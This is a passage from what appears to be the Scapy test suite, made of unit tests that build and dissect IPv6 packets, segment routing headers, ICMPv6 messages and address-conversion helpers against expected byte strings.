IPv6ExtHdrSegmentRoutingTLVPadN)\n\n= IPv6ExtHdrSegmentRouting Class - both lists - build & dissect\n\ns = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=[\"::1\", \"::2\", \"::3\"], tlv_objects=[IPv6ExtHdrSegmentRoutingTLVIngressNode(),IPv6ExtHdrSegmentRoutingTLVEgressNode()])/ICMPv6EchoRequest())\nassert s == b'`\\x00\\x00\\x00\\x00h+@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01:\\x0b\\x04\\x02\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x01\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x80\\x00\\x7f\\xbb\\x00\\x00\\x00\\x00'\n\np = IPv6(s)\nassert p[IPv6ExtHdrSegmentRouting].lastentry == 2\nassert ICMPv6EchoRequest in p and IPv6ExtHdrSegmentRouting in p\nassert len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2\n\n= IPv6ExtHdrSegmentRouting Class - UDP pseudo-header checksum - build & dissect\n\ns= raw(IPv6(src=\"fc00::1\", dst=\"fd00::42\")/IPv6ExtHdrSegmentRouting(addresses=[\"fd00::42\", \"fc13::1337\"][::-1], segleft=1, lastentry=1) / UDP(sport=11000, dport=4242) / Raw('foobar'))\nassert s == b'`\\x00\\x00\\x00\\x006+@\\xfc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00B\\x11\\x04\\x04\\x01\\x01\\x00\\x00\\x00\\xfc\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x137\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00B*\\xf8\\x10\\x92\\x00\\x0e\\x81\\xb7foobar'\n\n\n############\n############\n+ Test in6_get6to4Prefix()\n\n= Test in6_get6to4Prefix() - 0.0.0.0 address\nin6_get6to4Prefix(\"0.0.0.0\") == \"2002::\"\n\n= Test in6_get6to4Prefix() - 255.255.255.255 address\nin6_get6to4Prefix(\"255.255.255.255\") == \"2002:ffff:ffff::\"\n\n= Test in6_get6to4Prefix() - 1.1.1.1 address\nin6_get6to4Prefix(\"1.1.1.1\") == \"2002:101:101::\"\n\n= Test in6_get6to4Prefix() - invalid address\nin6_get6to4Prefix(\"somebadrawing\") is None\n\n\n############\n############\n+ Test in6_6to4ExtractAddr()\n\n= Test in6_6to4ExtractAddr() - 2002:: address\nin6_6to4ExtractAddr(\"2002::\") == \"0.0.0.0\"\n\n= Test in6_6to4ExtractAddr() - 255.255.255.255 address\nin6_6to4ExtractAddr(\"2002:ffff:ffff::\") == \"255.255.255.255\"\n\n= Test in6_6to4ExtractAddr() - \"2002:101:101::\" address\nin6_6to4ExtractAddr(\"2002:101:101::\") == \"1.1.1.1\"\n\n= Test in6_6to4ExtractAddr() - invalid address\nin6_6to4ExtractAddr(\"somebadrawing\") is None\n\n\n########### RFC 4489 - Link-Scoped IPv6 Multicast address ###########\n\n= in6_getLinkScopedMcastAddr() : default generation\na = in6_getLinkScopedMcastAddr(addr=\"FE80::\") \na == 'ff32:ff::'\n\n= in6_getLinkScopedMcastAddr() : different valid scope values\na = in6_getLinkScopedMcastAddr(addr=\"FE80::\", scope=0) \nb = in6_getLinkScopedMcastAddr(addr=\"FE80::\", scope=1) \nc = in6_getLinkScopedMcastAddr(addr=\"FE80::\", scope=2) \nd = in6_getLinkScopedMcastAddr(addr=\"FE80::\", scope=3) \na == 'ff30:ff::' and b == 'ff31:ff::' and c == 'ff32:ff::' and d is None\n\n= in6_getLinkScopedMcastAddr() : grpid in different formats\na = in6_getLinkScopedMcastAddr(addr=\"FE80::A12:34FF:FE56:7890\", grpid=b\"\\x12\\x34\\x56\\x78\") \nb = in6_getLinkScopedMcastAddr(addr=\"FE80::A12:34FF:FE56:7890\", grpid=\"12345678\")\nc = in6_getLinkScopedMcastAddr(addr=\"FE80::A12:34FF:FE56:7890\", grpid=305419896)\na == b and b == c \n\n\n########### ethernet address to iface ID conversion #################\n\n= in6_mactoifaceid() conversion function (test 1)\nin6_mactoifaceid(\"FD:00:00:00:00:00\", ulbit=0) == 'FD00:00FF:FE00:0000'\n\n= in6_mactoifaceid() conversion function (test 2)\nin6_mactoifaceid(\"FD:00:00:00:00:00\", ulbit=1) == 'FF00:00FF:FE00:0000'\n\n= in6_mactoifaceid() conversion function (test 3)\nin6_mactoifaceid(\"FD:00:00:00:00:00\") == 'FF00:00FF:FE00:0000'\n\n= in6_mactoifaceid() conversion function (test 4)\nin6_mactoifaceid(\"FF:00:00:00:00:00\") == 'FD00:00FF:FE00:0000'\n\n= in6_mactoifaceid() conversion function (test 5)\nin6_mactoifaceid(\"FF:00:00:00:00:00\", ulbit=1) == 'FF00:00FF:FE00:0000'\n\n= in6_mactoifaceid() conversion function (test 6)\nin6_mactoifaceid(\"FF:00:00:00:00:00\", ulbit=0) == 'FD00:00FF:FE00:0000'\n\n########### iface ID conversion #################\n\n= in6_mactoifaceid() conversion function (test 1)\nin6_ifaceidtomac(in6_mactoifaceid(\"FD:00:00:00:00:00\", ulbit=0)) == 'ff:00:00:00:00:00'\n\n= in6_mactoifaceid() conversion function (test 2)\nin6_ifaceidtomac(in6_mactoifaceid(\"FD:00:00:00:00:00\", ulbit=1)) == 'fd:00:00:00:00:00'\n\n= in6_mactoifaceid() conversion function (test 3)\nin6_ifaceidtomac(in6_mactoifaceid(\"FD:00:00:00:00:00\")) == 'fd:00:00:00:00:00'\n\n= in6_mactoifaceid() conversion function (test 4)\nin6_ifaceidtomac(in6_mactoifaceid(\"FF:00:00:00:00:00\")) == 'ff:00:00:00:00:00'\n\n= in6_mactoifaceid() conversion function (test 5)\nin6_ifaceidtomac(in6_mactoifaceid(\"FF:00:00:00:00:00\", ulbit=1)) == 'fd:00:00:00:00:00'\n\n= in6_mactoifaceid() conversion function (test 6)\nin6_ifaceidtomac(in6_mactoifaceid(\"FF:00:00:00:00:00\", ulbit=0)) == 'ff:00:00:00:00:00'\n\n\n= in6_addrtomac() conversion function (test 1)\nin6_addrtomac(\"FE80::\" + in6_mactoifaceid(\"FD:00:00:00:00:00\", ulbit=0)) == 'ff:00:00:00:00:00'\n\n= in6_addrtomac() conversion function (test 2)\nin6_addrtomac(\"FE80::\" + in6_mactoifaceid(\"FD:00:00:00:00:00\", ulbit=1)) == 'fd:00:00:00:00:00'\n\n= in6_addrtomac() conversion function (test 3)\nin6_addrtomac(\"FE80::\" + in6_mactoifaceid(\"FD:00:00:00:00:00\")) == 'fd:00:00:00:00:00'\n\n= in6_addrtomac() conversion function (test 4)\nin6_addrtomac(\"FE80::\" + in6_mactoifaceid(\"FF:00:00:00:00:00\")) == 'ff:00:00:00:00:00'\n\n= in6_addrtomac() conversion function (test 5)\nin6_addrtomac(\"FE80::\" + in6_mactoifaceid(\"FF:00:00:00:00:00\", ulbit=1)) == 'fd:00:00:00:00:00'\n\n= in6_addrtomac() conversion function (test 6)\nin6_addrtomac(\"FE80::\" + in6_mactoifaceid(\"FF:00:00:00:00:00\", ulbit=0)) == 'ff:00:00:00:00:00'\n\n########### RFC 3041 related function ###############################\n= Test in6_getRandomizedIfaceId\n\nimport socket\n\nfor a in range(10):\n    s1, s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3')\n    s1, s2\n    tmp = inet_pton(socket.AF_INET6, \"::\" + s1)[8:]\n    tmp\n    assert (orb(tmp[0]) & 0x04) == 0\n    s1, s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous=s2)\n    s1, s2\n    tmp = inet_pton(socket.AF_INET6, \"::\" + s1)[8:]\n    assert (orb(tmp[0]) & 0x04) == 0\n\nassert in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous='d006:d540:db11:b092') == ('721f:11fa:3743:fc7f', '5946:5272:7fcc:108a')\n\n########### RFC 1924 related function ###############################\n= Test RFC 1924 function - in6_ctop() basic test\nin6_ctop(\"4)+k&C#VzJ4br>0wv%Yp\") == '1080::8:800:200c:417a'\n\n= Test RFC 1924 function - in6_ctop() with character outside charset\nin6_ctop(\"4)+k&C#VzJ4br>0wv%Y'\") == None\n\n= Test RFC 1924 function - in6_ctop() with bad length address\nin6_ctop(\"4)+k&C#VzJ4br>0wv%Y\") == None\n\n= Test RFC 1924 function - in6_ptoc() basic test\nin6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp'\n\n= Test RFC 1924 function - in6_ptoc() basic test\nin6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp'\n\n= Test RFC 1924 function - in6_ptoc() with bad input\nin6_ptoc('1080:::8:800:200c:417a') == None\n\n########### in6_getAddrType #########################################\n\n= in6_getAddrType - 6to4 addresses\nin6_getAddrType(\"2002::1\") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL | IPV6_ADDR_6TO4)\n\n= in6_getAddrType - Assignable Unicast global address\nin6_getAddrType(\"2001:db8::1\") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL)\n\n= in6_getAddrType - Multicast global address\nin6_getAddrType(\"FF0E::1\") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST)\n\n= in6_getAddrType - Multicast local address\nin6_getAddrType(\"FF02::1\") == (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST)\n\n= in6_getAddrType - Unicast Link-Local address\nin6_getAddrType(\"FE80::\") == (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL)\n\n= in6_getAddrType - Loopback address\nin6_getAddrType(\"::1\") == IPV6_ADDR_LOOPBACK\n\n= in6_getAddrType - Unspecified address\nin6_getAddrType(\"::\") == IPV6_ADDR_UNSPECIFIED\n\n= in6_getAddrType - Unassigned Global Unicast address\nin6_getAddrType(\"4000::\") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)\n\n= in6_getAddrType - Weird address (FE::1)\nin6_getAddrType(\"FE::\") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)\n\n= in6_getAddrType - Weird address (FE8::1)\nin6_getAddrType(\"FE8::1\") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)\n\n= in6_getAddrType - Weird address (1::1)\nin6_getAddrType(\"1::1\") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)\n\n= in6_getAddrType - Weird address (1000::1)\nin6_getAddrType(\"1000::1\") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)\n\n########### ICMPv6DestUnreach Class #################################\n\n= ICMPv6DestUnreach Class - Basic Build (no argument)\nraw(ICMPv6DestUnreach()) == b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6DestUnreach Class - Basic Build over IPv6 (for cksum and overload)\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6DestUnreach()) == b'`\\x00\\x00\\x00\\x00\\x08:@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x01\\x00\\x14e\\x00\\x00\\x00\\x00'\n\n= ICMPv6DestUnreach Class - Basic Build over IPv6 with some payload\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6DestUnreach()/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")) == b'`\\x00\\x00\\x00\\x000:@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x01\\x00\\x8e\\xa3\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00;@ G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca'\n\n= ICMPv6DestUnreach Class - Dissection with default values and some payload\na = IPv6(raw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6DestUnreach()/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")))\na.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].code == 0 and a[ICMPv6DestUnreach].cksum == 0x8ea3 and a[ICMPv6DestUnreach].unused == 0 and IPerror6 in a\n\n= ICMPv6DestUnreach Class - Dissection with specific values\na=IPv6(raw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")))\na.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].cksum == 0x6666 and a[ICMPv6DestUnreach].unused == 0x7777 and IPerror6 in a[ICMPv6DestUnreach]\n\n= ICMPv6DestUnreach Class - checksum computation related stuff\na=IPv6(raw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")/TCP()))\nb=IPv6(raw(IPv6(src=\"2047::cafe\", dst=\"2048::deca\")/TCP()))\na[ICMPv6DestUnreach][TCPerror].chksum == b.chksum\n\n\n########### ICMPv6PacketTooBig Class ################################\n\n= ICMPv6PacketTooBig Class - Basic Build (no argument)\nraw(ICMPv6PacketTooBig()) == b'\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x00'\n\n= ICMPv6PacketTooBig Class - Basic Build over IPv6 (for cksum and overload)\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6PacketTooBig()) == b'`\\x00\\x00\\x00\\x00\\x08:@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x02\\x00\\x0ee\\x00\\x00\\x05\\x00'\n\n= ICMPv6PacketTooBig Class - Basic Build over IPv6 with some payload\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6PacketTooBig()/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")) == b'`\\x00\\x00\\x00\\x000:@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x02\\x00\\x88\\xa3\\x00\\x00\\x05\\x00`\\x00\\x00\\x00\\x00\\x00;@ G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca'\n\n= ICMPv6PacketTooBig Class - Dissection with default values and some payload\na = IPv6(raw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6PacketTooBig()/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")))\na.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 0 and a[ICMPv6PacketTooBig].cksum == 0x88a3 and a[ICMPv6PacketTooBig].mtu == 1280 and IPerror6 in a\nTrue\n\n= ICMPv6PacketTooBig Class - Dissection with specific values\na=IPv6(raw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6PacketTooBig(code=2, cksum=0x6666, mtu=1460)/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")))\na.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 2 and a[ICMPv6PacketTooBig].cksum == 0x6666 and a[ICMPv6PacketTooBig].mtu == 1460 and IPerror6 in a\n\n= ICMPv6PacketTooBig Class - checksum computation related stuff\na=IPv6(raw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/ICMPv6PacketTooBig(code=1, cksum=0x6666, mtu=0x7777)/IPv6(src=\"2047::cafe\", dst=\"2048::deca\")/TCP()))\nb=IPv6(raw(IPv6(src=\"2047::cafe\", dst=\"2048::deca\")/TCP()))\na[ICMPv6PacketTooBig][TCPerror].chksum == b.chksum\n\n\n########### ICMPv6TimeExceeded Class ################################\n# To be done but not critical. Same mechanisms and format as \n# previous ones.\n\n########### ICMPv6ParamProblem Class ################################\n# See previous note\n\n############\n############\n+ Test ICMPv6EchoRequest Class\n\n= ICMPv6EchoRequest - Basic Instantiation\nraw(ICMPv6EchoRequest()) == b'\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6EchoRequest - Instantiation with specific values\nraw(ICMPv6EchoRequest(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data=\"thisissomestring\")) == b'\\x80\\xff\\x11\\x11\"\"33thisissomestring'\n\n= ICMPv6EchoRequest - Basic dissection\na=ICMPv6EchoRequest(b'\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b\"\"\n\n= ICMPv6EchoRequest - Dissection with specific values \na=ICMPv6EchoRequest(b'\\x80\\xff\\x11\\x11\"\"33thisissomerawing')\na.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b\"thisissomerawing\"\n\n= ICMPv6EchoRequest - Automatic checksum computation and field overloading (build)\nraw(IPv6(dst=\"2001::cafe\", src=\"2001::deca\", hlim=64)/ICMPv6EchoRequest()) == b'`\\x00\\x00\\x00\\x00\\x08:@ \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x80\\x00\\x95\\xf1\\x00\\x00\\x00\\x00'\n\n= ICMPv6EchoRequest - Automatic checksum computation and field overloading (dissection)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x08:@ \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x80\\x00\\x95\\xf1\\x00\\x00\\x00\\x00')\nisinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1\n\n\n############\n############\n+ Test ICMPv6EchoReply Class\n\n= ICMPv6EchoReply - Basic Instantiation\nraw(ICMPv6EchoReply()) == b'\\x81\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6EchoReply - Instantiation with specific values\nraw(ICMPv6EchoReply(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data=\"thisissomestring\")) == b'\\x81\\xff\\x11\\x11\"\"33thisissomestring'\n\n= ICMPv6EchoReply - Basic dissection\na=ICMPv6EchoReply(b'\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b\"\"\n\n= ICMPv6EchoReply - Dissection with specific values \na=ICMPv6EchoReply(b'\\x80\\xff\\x11\\x11\"\"33thisissomerawing')\na.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b\"thisissomerawing\"\n\n= ICMPv6EchoReply - Automatic checksum computation and field overloading (build)\nraw(IPv6(dst=\"2001::cafe\", src=\"2001::deca\", hlim=64)/ICMPv6EchoReply()) == b'`\\x00\\x00\\x00\\x00\\x08:@ \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x81\\x00\\x94\\xf1\\x00\\x00\\x00\\x00'\n\n= ICMPv6EchoReply - Automatic checksum computation and field overloading (dissection)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x08:@ \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x80\\x00\\x95\\xf1\\x00\\x00\\x00\\x00')\nisinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1\n\n########### ICMPv6EchoReply/Request answers() and hashret() #########\n\n= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 1\nb=IPv6(src=\"2047::deca\", dst=\"2048::cafe\")/ICMPv6EchoReply(data=\"somedata\")\na=IPv6(src=\"2048::cafe\", dst=\"2047::deca\")/ICMPv6EchoRequest(data=\"somedata\")\nb.hashret() == a.hashret()\n\n# data are not taken into account for hashret\n= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 2\nb=IPv6(src=\"2047::deca\", dst=\"2048::cafe\")/ICMPv6EchoReply(data=\"somedata\")\na=IPv6(src=\"2048::cafe\", dst=\"2047::deca\")/ICMPv6EchoRequest(data=\"otherdata\")\nb.hashret() == a.hashret()\n\n= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 3\nb=IPv6(src=\"2047::deca\", dst=\"2048::cafe\")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data=\"somedata\")\na=IPv6(src=\"2048::cafe\", dst=\"2047::deca\")/ICMPv6EchoRequest(id=0x6666, seq=0x8888, data=\"somedata\")\nb.hashret() != a.hashret()\n\n= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 4\nb=IPv6(src=\"2047::deca\", dst=\"2048::cafe\")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data=\"somedata\")\na=IPv6(src=\"2048::cafe\", dst=\"2047::deca\")/ICMPv6EchoRequest(id=0x8888, seq=0x7777, data=\"somedata\")\nb.hashret() != a.hashret()\n\n= ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 5\nb=IPv6(src=\"2047::deca\", dst=\"2048::cafe\")/ICMPv6EchoReply(data=\"somedata\")\na=IPv6(src=\"2048::cafe\", dst=\"2047::deca\")/ICMPv6EchoRequest(data=\"somedata\")\n(a > b) == True\n\n= ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 6\nb=IPv6(src=\"2047::deca\", dst=\"2048::cafe\")/ICMPv6EchoReply(id=0x6666, seq=0x7777, data=\"somedata\")\na=IPv6(src=\"2048::cafe\", dst=\"2047::deca\")/ICMPv6EchoRequest(id=0x6666, seq=0x7777, data=\"somedata\")\n(a > b) == True\n\n= ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 7 - IPv6ExtHdrDestOpt\nb = IPv6(b'`\\x0f\\\\\\xe3\\x00\\x08:@\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02PV\\xff\\xfe\\x84\\x1c\\x14\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&\\x81\\x00\\r\\xad\\x00\\x00\\x00\\x00')\na = IPv6(b'`\\x00\\x00\\x00\\x00\\x10<\\xff\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02PV\\xff\\xfe\\x84\\x1c\\x14:\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x0e\\xad\\x00\\x00\\x00\\x00')\nassert a.hashret() == b.hashret()\nassert b.answers(a)\n\n= ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 8 - (live) use Net6\n~ netaccess ipv6\n\na = IPv6(dst=\"www.google.com\")/ICMPv6EchoRequest()\nb = IPv6(src=\"www.google.com\", dst=a.src)/ICMPv6EchoReply()\nassert b.answers(a)\nassert (a > b)\n\n\n########### ICMPv6MRD* Classes ######################################\n\n= ICMPv6MRD_Advertisement - Basic instantiation\nraw(ICMPv6MRD_Advertisement()) == b'\\x97\\x14\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6MRD_Advertisement - Instantiation with specific values\nraw(ICMPv6MRD_Advertisement(advinter=0xdd, queryint=0xeeee, robustness=0xffff)) == b'\\x97\\xdd\\x00\\x00\\xee\\xee\\xff\\xff'\n\n= ICMPv6MRD_Advertisement - Basic Dissection and overloading mechanisms\na=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Advertisement()))\na.dst == \"33:33:00:00:00:02\" and IPv6 in a and a[IPv6].plen == 8 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == \"ff02::2\" and ICMPv6MRD_Advertisement in a and a[ICMPv6MRD_Advertisement].type == 151 and a[ICMPv6MRD_Advertisement].advinter == 20 and a[ICMPv6MRD_Advertisement].queryint == 0 and a[ICMPv6MRD_Advertisement].robustness == 0\n\n\n= ICMPv6MRD_Solicitation - Basic dissection\nraw(ICMPv6MRD_Solicitation()) == b'\\x98\\x00\\x00\\x00'\n\n= ICMPv6MRD_Solicitation - Instantiation with specific values \nraw(ICMPv6MRD_Solicitation(res=0xbb)) == b'\\x98\\xbb\\x00\\x00'\n\n= ICMPv6MRD_Solicitation - Basic Dissection and overloading mechanisms\na=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Solicitation()))\na.dst == \"33:33:00:00:00:02\" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == \"ff02::2\" and ICMPv6MRD_Solicitation in a and a[ICMPv6MRD_Solicitation].type == 152 and a[ICMPv6MRD_Solicitation].res == 0\n\n\n= ICMPv6MRD_Termination Basic instantiation\nraw(ICMPv6MRD_Termination()) == b'\\x99\\x00\\x00\\x00'\n\n= ICMPv6MRD_Termination - Instantiation with specific values \nraw(ICMPv6MRD_Termination(res=0xbb)) == b'\\x99\\xbb\\x00\\x00'\n\n= ICMPv6MRD_Termination - Basic Dissection and overloading mechanisms\na=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Termination()))\na.dst == \"33:33:00:00:00:6a\" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == \"ff02::6a\" and ICMPv6MRD_Termination in a and a[ICMPv6MRD_Termination].type == 153 and a[ICMPv6MRD_Termination].res == 0\n\n\n############\n############\n+ Test HBHOptUnknown Class\n\n= HBHOptUnknown - Basic Instantiation \nraw(HBHOptUnknown()) == b'\\x01\\x00'\n\n= HBHOptUnknown - Basic Dissection \na=HBHOptUnknown(b'\\x01\\x00')\na.otype == 0x01 and a.optlen == 0 and a.optdata == b\"\"\n\n= HBHOptUnknown - Automatic optlen computation\nraw(HBHOptUnknown(optdata=\"B\"*10)) == b'\\x01\\nBBBBBBBBBB'\n\n= HBHOptUnknown - Instantiation with specific values\nraw(HBHOptUnknown(optlen=9, optdata=\"B\"*10)) == b'\\x01\\tBBBBBBBBBB'\n\n= HBHOptUnknown - Dissection with specific values \na=HBHOptUnknown(b'\\x01\\tBBBBBBBBBB')\na.otype == 0x01 and a.optlen == 9 and a.optdata == b\"B\"*9 and isinstance(a.payload, Raw) and a.payload.load == b\"B\"\n\n\n############\n############\n+ Test Pad1 Class\n\n= Pad1 - Basic Instantiation\nraw(Pad1()) == b'\\x00'\n\n= Pad1 - Basic Dissection\nraw(Pad1(b'\\x00')) == b'\\x00'\n\n\n############\n############\n+ Test PadN Class\n\n= PadN - Basic Instantiation\nraw(PadN()) == b'\\x01\\x00'\n\n= PadN - Optlen Automatic computation\nraw(PadN(optdata=\"B\"*10)) == b'\\x01\\nBBBBBBBBBB'\n\n= PadN - Basic Dissection\na=PadN(b'\\x01\\x00')\na.otype == 1 and a.optlen == 0 and a.optdata == b\"\"\n\n= PadN - Dissection with specific values \na=PadN(b'\\x01\\x0cBBBBBBBBBB')\na.otype == 1 and a.optlen == 12 and a.optdata == b'BBBBBBBBBB'\n\n= PadN - Instantiation with forced optlen \nraw(PadN(optdata=\"B\"*10, optlen=9)) == 